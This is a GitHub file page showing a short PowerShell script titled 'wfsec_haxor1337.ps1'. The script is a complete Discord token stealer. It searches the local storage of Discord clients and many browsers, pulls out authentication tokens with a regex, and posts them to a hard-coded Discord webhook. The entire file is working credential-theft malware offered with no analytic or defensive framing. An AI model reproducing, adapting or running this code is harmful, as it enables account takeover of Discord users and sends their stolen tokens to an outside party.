-
Notifications
You must be signed in to change notification settings - Fork 0
/
wfsec_haxor1337.ps1
57 lines (49 loc) · 5.77 KB
/
wfsec_haxor1337.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
$hook = "https://discord.com/api/webhooks/1063756479892570143/RnTdB4XUKxYbI1oaQvUOyVYu7WO-J9Y7lwKmB8T9URubAiUPw3lqxk-ZrJewOGarNPsm"
$token = new-object System.Collections.Specialized.StringCollection
$db_path = @(
$env:APPDATA + "\Discord\Local Storage\leveldb"
$env:APPDATA + "\Roaming\Discord\Local Storage\leveldb"
$env:APPDATA + "\Roaming\Lightcord\Local Storage\leveldb"
$env:APPDATA + "\Roaming\discordptb\Local Storage\leveldb"
$env:APPDATA + "\Roaming\discordcanary\Local Storage\leveldb"
$env:APPDATA + "\Roaming\Opera Software\Opera Stable\Local Storage\leveldb"
$env:APPDATA + "\Roaming\Opera Software\Opera GX Stable\Local Storage\leveldb"
$env:APPDATA + "\Local\Amigo\User Data\Local Storage\leveldb"
$env:APPDATA + "\Local\Torch\User Data\Local Storage\leveldb"
$env:APPDATA + "\Local\Kometa\User Data\Local Storage\leveldb"
$env:APPDATA + "\Local\Orbitum\User Data\Local Storage\leveldb"
$env:APPDATA + "\Local\CentBrowser\User Data\Local Storage\leveldb"
$env:APPDATA + "\Local\7Star\7Star\User Data\Local Storage\leveldb"
$env:APPDATA + "\Local\Sputnik\Sputnik\User Data\Local Storage\leveldb"
$env:APPDATA + "\Local\Vivaldi\User Data\Default\Local Storage\leveldb"
$env:APPDATA + "\Local\Google\Chrome SxS\User Data\Local Storage\leveldb"
$env:APPDATA + "\Local\Epic Privacy Browser\User Data\Local Storage\leveldb"
$env:APPDATA + "\Local\Google\Chrome\User Data\Default\Local Storage\leveldb"
$env:APPDATA + "\Local\uCozMedia\Uran\User Data\Default\Local Storage\leveldb"
$env:APPDATA + "\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb"
$env:APPDATA + "\Local\Yandex\YandexBrowser\User Data\Default\Local Storage\leveldb"
$env:APPDATA + "\Local\Opera Software\Opera Neon\User Data\Default\Local Storage\leveldb"
$env:APPDATA + "\Local\BraveSoftware\Brave-Browser\User Data\Default\Local Storage\leveldb"
)
foreach ($path in $db_path) {
if (Test-Path $path) {
foreach ($file in Get-ChildItem -Path $path -Name) {
$data = Get-Content -Path "$($path)\$($file)"
$regex = [regex] "[\w-]{24}\.[\w-]{6}\.[\w-]{27}|mfa\.[\w-]{84}"
$match = $regex.Match($data)
while ($match.Success) {
if (!$token.Contains($match.Value)) {
$token.Add($match.Value) | out-null
}
$match = $match.NextMatch()
}
}
}
}
$content = "__***Token: ***__"
foreach ($data in $token) {
$content = [string]::Concat($content, "**", $data)
}
$content = [string]::Concat($content, "**")
$JSON = @{ "content"= $content;}| convertto-json
Invoke-WebRequest -uri $hook -Method POST -Body $JSON -Headers @{"Content-Type" = "application/json"}